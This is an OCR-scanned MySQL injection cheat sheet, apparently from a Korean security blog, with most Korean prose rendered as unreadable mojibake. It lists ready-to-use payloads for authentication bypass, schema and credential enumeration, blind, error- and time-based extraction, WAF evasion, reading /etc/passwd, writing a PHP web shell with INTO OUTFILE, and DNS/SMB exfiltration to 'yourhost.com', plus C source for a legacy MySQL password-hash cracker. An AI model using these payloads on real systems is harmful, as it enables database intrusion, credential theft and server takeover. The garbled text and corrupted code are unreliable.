MySQL Injection Cheat Sheet

7|= HIOJE{H|0] A

mysq| ROOT #H&t2 Q7 §HLCt.
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48 LE0| AHZ37| fISHME %2b =

; MO|ZSE22 37| 2E0M 12 EXIE AL83}7| 2
ol %3b 2 Q1AL SHOktL|C}.

O|MIM E|AE

— 1L —_—

- TRUE / FALSE = SHI2 #2|2IX| ofIX|E e|o|ghL|ct.
) I:III.0=I

- A2 AE{(SINGLE QUOTE, ’) &£= AE{(QUOTE, “)7| o2 1 MEl AL 2l5t= 02 ¢l2io| 7hsgtict.
01|x1|2r Zo| Hoz JLME 0] 7He I HE FlolE= SQL &8 AZsH L7k 7*OI 7bsgtct.

SELECT * FROM Table WHERE id ='1";
ofl2} 4
" ofl2} 4

\ oflz A

\\ )

SELECT * FROM Articles WHERE id ='1";

SELECT 1 FROM dual WHERE 1 ="'1""UNION SELECT '2';

AL
2) =X}
. TRUE &= 1 2} Z4LICH
. FALSE = 0 1} Z+&L|C}.
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SELECT * FROM Table WHERE id = 1;

1 AND 1 TRUE

1ANDO FALSE

1 AND true TRUE

1 AND false FALSE

1-false Flofst 2% 1 S gletetL|ct
1-true FloFst A< 0 2 gtatstLct

65-0 Flofet 42 65 S HigefLct

65 - (SELECT ASCII(‘A%)) Flore 22 0 2 gretetL|ct

1*56 Floret 42 56 2 RHEFEHL|CH
1*56 Flofstx| 42 < 1 2 HhEkeiLict

SELECT * FROM Users WHERE id = 3-2;

3) 291 A|
SELECT * FROM Table WHERE username =";

OR "1
OR1-- -

" OR M o
"OR1=1---

LIKE'
=0--+

SELECT * FROM Users WHERE username = '‘Mike' AND password =" OR" =";

N
e
- C[I20| 2= EXE2 QIEIM L 20M FME LIEFHLCE
- BACKTICK(') 2| 42 & (ALIAS)22M H2|E F=sl=0 At8e + ASLICH
# Hash
/* C-AER F4
-- - SQL =M
;%00 Null Zt
Backtick

SELECT * FROM Users WHERE username = admin;#
SELECT * FROM Users WHERE username =" OR 1=1 -- -' AND password =";
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SELECT * FROM Users WHERE id =" UNION SELECT 1, 2, 37;
SEL/**/ECT * FR/**/OM Users WH/**/ERE id =" UN/**/ION SEL/**/ECT 1, 2, 37,

-|I-| E"AE
- 2I= 2 7|4 DBMS 0[A 2] £2 Zat= -NT-LOG £ = &hst AQiLct.
VERSION()

@@VERSION

@@GLOBAL.VERSION

’ SELECT * FROM Users WHERE id ='1' AND MID(VERSION(),1,1) ="'5/,;

/1 £EF -‘?’_ */
. iH 5% REC olHM SIRI0IM O 0o SQL T2 £78 4 912 1) DBMS HiH ZEE golsts o S88hc
SELECT * FROM Users limit 1,{INJECTION POINT};

1 /*160094eaea*/; 0| 5.00.94 e Z7Lt 2 42 FALSE
1 /*160096eaea*/; & 0| 5.00.96 ELCt %2 42 TRUE
1 /*160095eaea*/; H{Z0| 5.00.95 & &< FALSE

H|O|E{H|0| A Xt S

AEX HEE EElst HO|S 0|E(EE) mysql.user
AH2xt HHE 255 AHE 0|2 user, password
Sixl A X} 2 gt user(), current_user(),

current_user,
system_user(),
session_user()

SELECT current_user;
SELECT * FROM ‘user WHERE 1 LIMIT 0,30;
SELECT * FROM mysqgl.user WHERE 1 LIMIT 1,1;

SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user ‘root' (#gt &
(@]

)

H|O|E{H|0] A O|F

H|O|E 0|2 (H=2) information_schema.schemata, mysql.db
ZH" o|g schema_name, db
Sixl AF2 =91 DB 2 sk database(), schema()

SELECT database();

SELECT schema_name FROM information_schema.schemata;
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SELECT schema_name FROM information_schema.schemata LIMIT 1,1;
SELECT DISTINCT(db) FROM mysqgl.db;-- (#&F 22)

My SAE 0|8
@@HOSTNAME
SELECT @@HOSTNAME;

MH{ MAC =4

UUID() aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeceee;
- DBMS 7} 4x|El OS 2| MAC FA [l 48-BIT 2A9| EX[YES HHelet s ASLICH

E|0]=(Tables)2t Z&(Columns)
1) 22 s met

Order/Group By

GROUP/ORDER BY n+1;

- FALSE S8 W2uitx] N 2k2 S7HAIHo} ghLict.
. GROUP BY 2| ORDER BY = SQL {2 # MELCIE 7|SE 7K YSo, & &
S St woz AgSiLIC

SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT};

o
4n
[}
o
=
4>
i
El
3

fst=tiloll

n=0 1' ORDER BY 1--+ TRUE

n=1 1' ORDER BY 2--+ TRUE

n=2 1' ORDER BY 3--+ TRUE

n=3 1' ORDER BY 4--+ FALSE - Query 0| 2Z! M| 7H2|
Column 2t Akgstrh= A St
L|c}.

n=2 -1"UNION SELECT 1,2,3--+ TRUE

ofl2{ 7|8t(Error Based)2 & 0L 7|

GROUP/ORDER BY 1,2,3,4,5...

. OHZ2|#H|0|MO| OflZE L &5H= AR REQUEST 5iLIZ 2 5 ¢ 4 QI&LICE

SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}'
1" GROUP BY 1,2,3,4,5--+ ‘ Unknown column '4' in 'group statement’

1' ORDER BY 1,2,3,4,5--+ ‘ Unknown column '4' in 'order clause'

0|2 7|gte 2 ol 2
SELECT ... INTO var_list, var_list1, var_list2...

- O] Y2 o E2I7[0|M0] [ E E5H= B0l AH8E &= ASLICH
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—I +E EOI7{Lt S2{71HA of|2] HAXIE Sall 23 s _f°*5”—IEL
T 01I11|“ LIMIT Z Ct30| 2= 1HM AX|oflM 2E 7+ mtetsh= WS Ho{FLICH

SELECT permission FROM Users WHERE id = {INJECTION POINT};

-1 UNION SELECT 1 INTO @,@,@ The used SELECT statements have a
different number of columns (0l[2{ H|A|X])

-1 UNION SELECT 1 INTO @,@ The used SELECT statements have a
different number of columns (0i[2{ H|A|X])

-1 UNION SELECT 1 INTO @ OlHE EoIX| Z= 2 ZE /= 1 Lt

SELECT username, permission FROM Users limit 1,{INJECTION POINT};

1INTO @,@,@ The used SELECT statements have a
different number of columns (ERROR H|A|X])
1INTO @,@ o2 E &0l ¢t= 42 23 o= 2 YLICH

o2 7[gte =2 got7| 3
AND (SELECT * FROM SOME_EXISTING_TABLE) = 1

- O] W12 ojZ2|A(0|Mo| 2| = &3HT EIOIS 0|2 L1 U= A ABELIC
- O] W2 B0 LY 2 HH4S HHEEhLICE

oHT

SELECT permission FROM Users WHERE id = {INJECTION POINT};

1 AND (SELECT * FROM Users) = 1 Operand should contain 3 column(s)

2) H|0|Z 0| 7IM 27|

UNION
. VERSION=10 2 MYSQL 5 Ol|A A}g&tL|C}.
- GROUP_CONCAT() 2 EI0|E LH Ct+2| ¥ £ Zzist0fl WetgtLICt.

UNION SELECT GROUP_CONCAT (table_name) FROM information_schema.tables WHERE
version=10;

BLIND
- SUBSTR(‘EXIY’, X, Y) = 2XtEL| X Ui 2AX|0MFE] Y 7H2| EXH(X 23})E Htetsts gtlLic.
- 91 SQLI = EH[o| 0|52 X EAt7t A 2rt 2 EXQIX| H|@5He PRYULICE (A=65, Z=90, a=97, 2=112)

AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > ‘A'

ERROR

AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x
GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT
1),FLOOR(RAND(0)*2)))

@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables
LIMIT 1),!@) HAVING @||MIN(@:=0);

AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM
information_schema.tables LIMIT 1)));--
- MYSQL V5.1.5 0f|A 7HsghL|Ct.
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3) 28 0IF 7IM 27|

UNION

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns
WHERE table_name = 'tablename'

BLIND
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

ERROR

AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x
GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT
1),FLOOR(RAND(0)*2)))

(@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM
information_schema.columns LIMIT 1),!@) HAVING @||[MIN(@:=0);

AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM
information_schema.columns LIMIT 1)));—
- MYSQL V5.1.5 0f|M 7HsEtLICE.

AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)--
- MYSQL V5.1 0|M +=HEIASLICE

AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN
SOME_EXISTING_TABLE b) a)

AND (SELECT * FROM (SELECT * FROM SOME_EXISTING_TABLE JOIN
SOME_EXISTING_TABLE b USING (SOME_EXISTING_COLUMN)) a)

PROCEDURE ANALYSE() g

- SQLI 72 LHoA Metst 22 5 siLto] 0SS Ho{of & uf S8EHLICH

SELECT username, permission FROM Users WHERE id = 1;

1 PROCEDURE ANALYSE() A 2w ZEe| o|ES ghetetLct.
1 LIMIT 1,1 PROCEDURE ANALYSE() 5w ZHol 0|52 HrekefLct.
1 LIMIT 2,1 PROCEDURE ANALYSE() Ml B 22| 0|5 = ghetetLct.

4) N #inj| 23 FH 718427

SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0O; # rows numbered from O
- USER H|0|Z2] 0 tinj stie| HE MHE 71N IJLIC}.

5) Ct4-2f E0] 0]E $hH0| 74K Q7|

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns)
WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ]
>'table_name,' > ',column_name))))x

14
n
'
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SELECT * FROM Users WHERE id ='-1' UNION SELECT 1, 2, (SELECT (@) FROM
(SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE
(table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' >
,column_name))))x), 4--+;

22

[ information_schema ] >SCHARACTER_SETS > CHARACTER_SET_NAME

[ information_schema ] >SCHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION

[ information_schema ] >SCHARACTER_SETS > MAXLEN

[ information_schema ] >COLLATIONS > COLLATION_NAME

[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME

[ information_schema ] >COLLATIONS > ID

[ information_schema ] >COLLATIONS > IS_DEFAULT

[ information_schema ] >COLLATIONS > IS_COMPILED

6) Ct2| ZE 0| eHiof| 71X 27|

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626¢c653a20, table_name,
0x3c62723e, 0x436f6¢c756d6e3a20, column_name ORDER BY (SELECT version FROM
information_schema.tables) SEPARATOR 0x3c62723¢e),1,1024) FROM
information_schema.columns

oz

SELECT username FROM Users WHERE id ='-1' UNION SELECT
MID(GROUP_CONCAT(0x3c62723e, 0x5461626¢c653a20, table_name, 0x3c62723e,
0x436f6¢c756d6e3a20, column_name ORDER BY (SELECT version FROM
information_schema.tables) SEPARATOR 0x3¢c62723¢),1,1024) FROM
information_schema.columns--+

21

Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority

7) 28 0| F0M EI0]Z 0| HM

SELECT table_name FROM username ZZ 9| H|O|E O|ES ZAMEHL|CT
information_schema.columns WHERE
column_name = 'username’;

SELECT table_name FROM user 2H= CIO{E Z&H6t 0|22 717l Hado| Hlo|g
information_schema.columns WHERE O|EE ZAMstLICYT.
column_name LIKE '%user%';
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8) EIO|= O|F0M ZH 0|5 HM

SELECT column_name FROM
information_schema.columns WHERE
table_name = 'Users';

SELECT column_name FROM
information_schema.columns WHERE
table_name LIKE '%user%';

Users E[O|2

|
Column®2| O|E2 AMEtLICE.

EX1Y = - {7 (Fuzzing) - LH=3}(Obfuscation)
1) #E| 2E{Z(Filtering) 23]

SELECT * FROM Users WHERE username =
0x61646D696E

SELECT * FROM Users WHERE username =
CHAR(97, 100, 109, 105, 110)

Hex QI2E S AE&ILICE

2) & DXt oiA

- 5 72| A= FE Atojojl I ZHo] RUELICE
- X1 EYE 23(5t= Of A8

- CONCAT() e+= UH7HE'_1—1‘— & StLi2tE NULL 0| Exi5Hs 3 NULL 2 HhakglLct.
- CONCAT_WS()2| A Hmj oj7HtH== LEMX|ofl st 1= 7I2(-|-I0||A1" NULL)E 2|t

SELECT 'a''d"'mi' 'n’;

SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WsS(", 'a', 'd','m', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', "', 'n');

3) CIOIE{H|O|AOIM 5| 25t= 2Kt A2

L} 23 0|22 HMEH| T},

user 2t= Et{E Z &St 0|E2 7H! H|0]

CHAR() &4Z At23510{ ASCIl ZEZ
. SELECT CHAR(65); # AZ HtatstL|LC}.

ZeLct

- L2 EXxts EXtAfo] 2+ S ZTFsth=dl AFR%E AELICL

%09 28 o

%0A Jh&H

%0B x|

%0C Al O] ]|

%0D QUH(FHAM)= die| A|ZteZ 0| (Carriage Return)
%A0 NBSP(Non-Breaking Space)

%20 AHHO|A

%0A%09UNION%OCSELECT%A0ONULL%20%23

- 25 = AH0|A i ALEE 5 ASLIC

UNION(SELECT(Cqumn)FROM(table))
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. AND/OR C}20j| Ofell 2XISS AlRE 4 9J&LC}
. DUAL 2 E|AEE 93 Arﬂo}— ci0] Blo]E Lict,

%20 Space
%2B +

%2D -

%TE ~

%21 !

%40 @
SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))

= -- FOl| WS 5lo] o o= -IEIE et
= f.

°| HHHo WAF/IDS 2| EtX|E 23|& &LIC
I
1'#
AND O--

UNION# | am a comment!
SELECT@tmp:=table_name x FROM--
‘information_schema'.tables LIMIT 1#

HIO|E{H|o] A0f| HEE|= HE

1'%23%0AAND 0--%0AUNION%23 | am a comment!%0ASELECT@tmp:=table_name x
FROM--%0A’information_schema'.tables LIMIT 1%23

. 8h20f| L5l Ui} =M 2 LEESFEH 4 AL}

VERSION/**/%A0 (/*comment*/)

4) 2134 (Encodings)
. QIMM T2 I AYBORM WAF/IDS & 23| 7H540| ZXHSHLILY.

URL 213 & SELECT %74able_%6eame FROM
information_schema.tables;
E URL 2I3E SELECT %2574able_%256eame FROM
- %25 Flof| Ax| AFEE 22 £01'27] &h|Cl. information_schema.tables;
QLaE olAE SELECT %u0074able_%u6eame FROM
information_schema.tables;
A2 Hex 213G (ASP) SELECT %tab%le %na%me FROM

information_schema.tables;

5) 7|191E 718t 2E{2l(Filtering) 23l
- IDS/WAF E%3 7|9{EE ZE{As5tn IS uf QIATSIX| 241 0|8 238 +~ ASLICH
7|2|E: information_schema.tables

CHA SR} A INFORMaTIOn_SCHema.TAbLeS

Anjo|A information_schema . tables
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7|2|E: information_schema.tables

FM ALE inf/**/or/**/ma/**/tion_sch/**/em/**/a.ta/**/
bles
Backtick(’) ‘information_schema’. tables’
MySQL EH ZES} /*linformation_schema.tables*/
CHA| EllO| = O|& A8 information_schema.partitions
- C§x| 0|22 HIo|= LH 7|2 7|(PRIMARY KEY)0] tul2t information_schema.statistics
Shapa &= UELICH information_schema.key_column_usage

information_schema.table constraints

Azt x|gd
SLEEP() - MySQL 5

?ProductiD=-99 OR IF((ASCII(MID(({INJECTON POINT}),1,1)) = 100),SLEEP(14),1) = O
LIMIT 1—
- MID() &2 12 XL d & o, MHESE SE0| 14 X X[E[0{ d 7} ofd A2 1 =7t X|AEL|CE

BENCHMARK() - MySQL 4/5

- (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) -
. MySQL B{H0| 5 i, 2} true = SHA1 ©& 100000 t 253} BH|C}.

- MID(‘2Xt’, X, Y) gt EXIEL X HM IX|IMFE] Y 7H2] EXH(X =8t E hgkelLct.

Azt
ool A3t

- [12 #HE2|= 53 ALEX10]| chgh o HshS holst= o] =20| & 4~ SLICh

SELECT file_priv FROM mysqgl.user WHERE user = ‘username’; MySQL 4/5

. ROOT Hsto| ZQFhL|C}.

SELECT grantee, is_grantable FROM information_schema.user_privileges MySQL 5
WHERE privilege_type = 'file' AND grantee like ‘%username%’;
- ROOT &sto| Ho3sIX| ¢#&LICt

ot 97|

- ALEX10i|A| mh HEHFILE PRIVILEGES)O0| 1= A< #H2|E Sall TS 22 + ASLICH
- ol Il 2 M SAE| HIEA| EXfsta 10{of °“—|Ef

. LOAD_FILE() &4=2| 7|2 C|28llE{2|= @@datadir IL|C}.

- o mHl2 MySQL AH8XE7} 912 4= 2100 BiL|CE.

- ot mhed 37|= mf3le| £|c 8|8 37| HC} Zfotof Lict.

. @@max_allowed_packet 2| 7|2 Z}2 1047552 HIO|E ¢lL|C}.

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(Ox2F6574632F706173737764);

Ij AA7]

- ALXtof Til HSHFILE PRIVILEGES)O| 4 29 H2I8 S8 T 448 4 JsLich
- THY M47] A] EHOJ2A7| B 4 GALICE

. INTO OUTFILE M2 #ajo| 0jx|at 2202 AL o} BHLiC}.

- INTO OUTFILE Z2 The! Lholl 2lole] H2| 224 L of ALgEiLICt,
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- It F2E Q1T YE Yo glom, }EE A-83sH{oF LC.

= [
PHP #(Shell) M SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/
shell.php’;
s S5t ot H2 ‘ http://localhost/shell.php?c=cat%20/etc/passwd

CI220(Downloader) ¥4 | SELECT '<? fwrite(fopen($_GETI[f], \'w\'),
file_get_contents($_GETI[u])); ?>' INTO OUTFILE '/var/www/
get.php'

CI220E i CHREE ‘ http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

Out Of Band #22!(Channeling)

- SQLI & ¥ = HIO|E{HO|AZRE| €2 Qlo|o| HIO|EE SHXL XiLle| HFEIZ TE517| 216 C|o|E 0] A2] LY
& 7152 085t Ly YLict.

- DNS MH{ 2! SMB MH{E 74511 2100} &hL|C}.

- SQLI 2| &3 ZAnS ofZE2|A 0] M0| . F5HX| oS | ALEILICE

DNS 2% o|2

SELECT LOAD_FILE(CONCAT("\\\\', (select MID(version(),1,1)), 'yourhost.com’));
- 224X} DNS AMH{ YOURHOST.COM 0f| NBNS 2| E£= DNS RESOLUTION && FEgtL|Ct.

SMB Request 0|2

OR 1=1 INTO OUTFILE “\\\\yourhost.com\\SMBshare\\output.txt
. 24X YOURHOST.COM A{H{0]| £ZXl5}= SMB 28 Z04 L} OUTPUT.TXT ot fz2|e] AztE X ZErgh|Ct.

AEH 32| (Stacked Queries)
- PHP ofiZ2|#|o|0] MySQL 2| Ci|o[E{t|o| A2} HFL|A|0|ME  A&sl= E2I0|HE Sal| AR 2| #80] 7ts8t
L|C}.
- ABH B E X[ lst= CHEZXQI E2L0|H{ 2 PDO_MYSQL 0| !ELICH MySQLi &% E210o|H] EESH multi_query()
gt+E Ssll 0| X[ etLct.
SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username, password,
priv) VALUES ('‘BobbyTables', 'kl20da$$','admin');

SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;

MySQL H{H EH AE

. MYSQL & 2% Cr20| 53 ZCE YEORM HES KFE 4 9 7150| ZMELICL T4 I 722 s
MYSQL o Bf70] S AT = Aias BT 2oL 523 ZS0E SgELI

UNION SELECT /*150000 5,null;%00*//*!140000 4,null-- ,*//*130000 3,null-- x*/0,null—+
. £ 7lo] 22 0|8 # UNION g Al M oS prarict,

SELECT 1/*141320UNION/*!/*1/*I00000SELECT/*!/*IUSER/*!(/*!/*\/*1*/);

- WAF/IDS & f3&|st= /&8t ¢ elLICt.

= =
xR 72
e ol
CASE SELECT CASE WHEN 1=1 THEN true ELSE false END;

- TRUE £ utshstLct.
SELECT user() CASE WHEN ‘root@localhost’ THEN true ELSE false END;
« §ixlf AF2X}7F ROOT ™ TRUE £ dtalghL|Ct.
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http://localhost/shell.php?c=cat%20/etc/passwd
http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
http://yourhost.com
smb://SMBshare//output.txt

o
+

ol x|

IF() SELECT IF(1=1, true, false);
- TRUE & utshstLct.
SELECT IF(user()="root@localhost’,'true','false');
- 3zl At2Xt7} ROOT ™ TRUE £ HtaksiLct.
IFNULL()  SELECT IFNULL(price, 0) from goods;
. PRICE 7} NULL 0] OFL|™ 0 & uFatatL|C}.
NULLIF()  SELECT NULLIF(price, O) from goods;
. PRICE 7} 0 2} Zo™ NULL £ HtskghL|Ct.
IN() SELECT price IN(1000, 2000, 3000) from goods;
. 1000, 2000, 3000 = PRICE 2}0| Exli5}= Z4< 1 OfL|™ 0 S dislghL|C}.
1/0 SELECT 1/0 FROM dual (SELECT username FROM all_users WHERE username =
‘admin’) = “admin’
« ALL_USERS H|0|Z L ADMIN 0| Zx{5IH oj]2{7} L 4gL|ct.
A
A%

current_user
null, \N

true, false

IjA L E sl|4(Hashing)
H ’ PASSWORD() &4 H|A 4]
MySQL H{E > 4.1 16 HO|E LONG

MySQL H{& < 4.1 41 HjO|E

|

AL E 3efZ(Cracking) =4

£

2l E<E
6f8c114b58f2ce9e
PASSWORD(‘mypass’) *6C8989366EAF75BB6
70ADSEA7ATFC1176A
95CEF4
URL

Cain & Abel
John the Ripper
Metasploit 2& JTR

http://www.oxid.it/cain.html

http://www.openwall.com/john/

http://www.metasploit.com/modules/

auxiliary/analyze/jtr_mysql_fast

MySQL < 4.1 T|AQ|E Taj7
LIS A2 AEE= MYSQL 2| siA| S E TA517| 9Igt 04 FapH &S e Walo] Izf7{YLICt 0] E7= Y PC
olM 2E 2I2f 7k55t ASCIlI Xt E&tet= 8 At ASE H AlZH DHojl 2 5= QUELICE
brainfeeder-git.github.io 12/15 br@1nfeeder


http://www.oxid.it/cain.html
http://www.openwall.com/john/
http://www.metasploit.com/modules/auxiliary/analyze/jtr_mysql_fast

/* This program is public domain. Share and enjoy.
*
* Example:
* § gcc -02 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
*

- causing more arithmetic overflows
*/

#include <stdio.h>
typedef unsigned long u3Z;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK Ox7ffffffflL

int crack@(int stop, u32 targl, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xorl, xor2, statel, stateZ;
u32 newstatel, newstate2, newstate3;
u32 statel_ary[MAX_LEN-2], state2_ary[MAX_LEN-27;
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];

1= -1;
sum = 7;
statel_ary[@] = 1345345333L;
stateZ2_ary[@] = 0x12345671L;
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while (1) {

while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (statel_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (statel_ary[i] << 8);
sum += MIN_CHAR;
statel_ary[i+1] = statel_ary[i] A xor_ary[i];
stateZ2_ary[i+1] = stateZ_ary[i]

+ ((state2_ary[i] << 8) A statel_ary[i+1]);

ks
statel = statel_ary[i+1];
state2 = stateZ_ary[i+l];

step = (statel & Ox3f) + sum;
xorl = step*MIN_CHAR + (statel << 8);
xor2 = (state2 << 8) A statel;

for (c = MIN_CHAR; c <= MAX_CHAR; c++, xorl += step) {
newstate2 = state2 + (xorl A xor2);
newstatel = statel A xorl;

newstate3 = (targ2 - newstate2) A (newstate2 << 8);

div = (newstatel & 0x3f) + sum + c;

diff = ((newstate3 A newstatel) - (newstatel << 8)) & MASK;
if (diff % div != @) continue;

d = diff / div;

if (d < MIN_CHAR || d > MAX_CHAR) continue;

div = (newstate3 & 0x3f) + sum + c + d;

diff = (Ctargl A newstate3) - (newstate3 << 8)) & MASK;
if (diff % div != @) continue;

e = diff / div;

if (e < MIN_CHAR || e > MAX_CHAR) continue;

pass_ary[i+l] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;

return 1;

}

while (i >= 0 && pass_ary[i] >= MAX_CHAR) {

sum -= MAX_CHAR;

i--3
ks
if (i < @) breadk;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
statel_ary[i+1] = statel_ary[i] A xor_ary[i];
stateZ2_ary[i+1] = stateZ_ary[i]

+ ((state2_ary[i] << 8) A statel_ary[i+1]);
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int main(int argc, char *argv[])
{
int 1i;
if (argc <= 1)
printf("usage: %s hash\n", argv[@]);
for (i = 1; 1 < argc; i++)
crackCargv[i]);
return 0;
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